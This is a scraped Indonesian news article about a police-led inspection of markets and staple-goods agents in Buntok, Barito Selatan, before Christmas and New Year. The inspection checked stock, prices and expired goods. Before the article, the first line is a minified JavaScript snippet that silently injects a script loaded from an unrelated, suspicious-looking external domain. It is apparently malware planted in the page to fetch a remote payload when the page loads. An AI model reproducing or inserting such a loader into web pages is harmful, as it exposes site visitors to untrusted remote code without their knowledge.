(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BUNTOK, Jelang Natal dan Tahun Baru (Nataru), Kapolres Barsel AKBP Devy Firmansyah lakukan sidak ke Pasar dan Agen sembako, untuk pastikan stok dan stabilnya harga pangan serta kebutuhan pokok lainnya. Sidak didampingi Dandim 1012, Kejari, Disdagkop, Sat Pol PP, Kansilog dan pejabat terkait lainnya. Kapolres AKBP Devy Firmansyah mengatakan, tujuan sidak ini yang pertama melakukan pengecekan ketersediaan barang pangan dan sembako seperti beras, daging, telur dan lainnya. “Kita lakukan pengecekan stok persediaan barang-barang sembako yang ada di pasar dan sejumlah agen besar yang ada di Buntok,†katanya kepada Kanalkalimantan.com, usai sidak. Selain stok barang, juga dilakukan pengecekan harga jual, jangan sampai menjelang Nataru ini terjadi lonjakan harga karena adanya permainan di pasaran.
“Kita juga lakukan pengecekan harga guna menghindari adanya lonjakan harga jelang Nataru nanti karena adanya permainan dari pedagang,†jelas AKPB Devy.
Lebih lanjut olehnya pihaknya juga dalam sidak ini mengundang pihak terkait dari Disperindag dan Dinkes Barsel, guna menunjang pengecekan dan pemeriksaan barang di lapangan. Mengingat selain pengecekan barang dan harga pihaknya sekaligus melakukan pengecekan terhadap barang-barang yang sudah expired. “Jadi menunjang proses di lapangan kita turut mengundang stack holder terkait untuk lebih memperkuat saat sidak di lapangan,†tegas Devy. Terkait adanya temuan di lapangan tadi pada barang-barang yang sudah expired, pihaknya menyerahkan barang kepada pihak terkait seperti Dinkes dan Disdagkop. “Karena saat pemeriksaan barang para toko dan agen terlihat koperatip dan tidak adanya unsur kesengajaan jadi kembali kita serahkan kepada pihak terkait dulu bagaimana selanjutnya,†pungkas Devy.
Di tempat yang sama Kepala Disdagkop Barsel Swita Winarsih mengatakan, pihaknya sangat terbantu dengan adanya sidak dari Polres Barsel ini, walaupun sebelumnya pihak sudah ada melakukan pengecekan terlebih dulu. “Kita sangat terbantu sekali dengan adanya sidak dari Polres Barsel ini, karena jadi banyak tenaga untuk turun langsung saat sidak,†ungkap Swita. Ia juga mengatakan, terkait hasil sidak untuk harga bisa dibilang masih normal dan walaupun ada kenaikan harga tidak terlalu signifikan. Sementara untuk temuan barang yang sudah expired diserahkan kepada pihak Dinkes dan untuk pemilik toko diberikan teguran agar jangan mengulangi lagi.
“Harga bisa dibilang masih normal dan untuk barang expired diserahkan kepada Dinkes Barsel, dan pemilik toko langsung kita berikan teguran untuk tidak mengulangi,†pungkas Swita.(digdo)
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
This website uses cookies.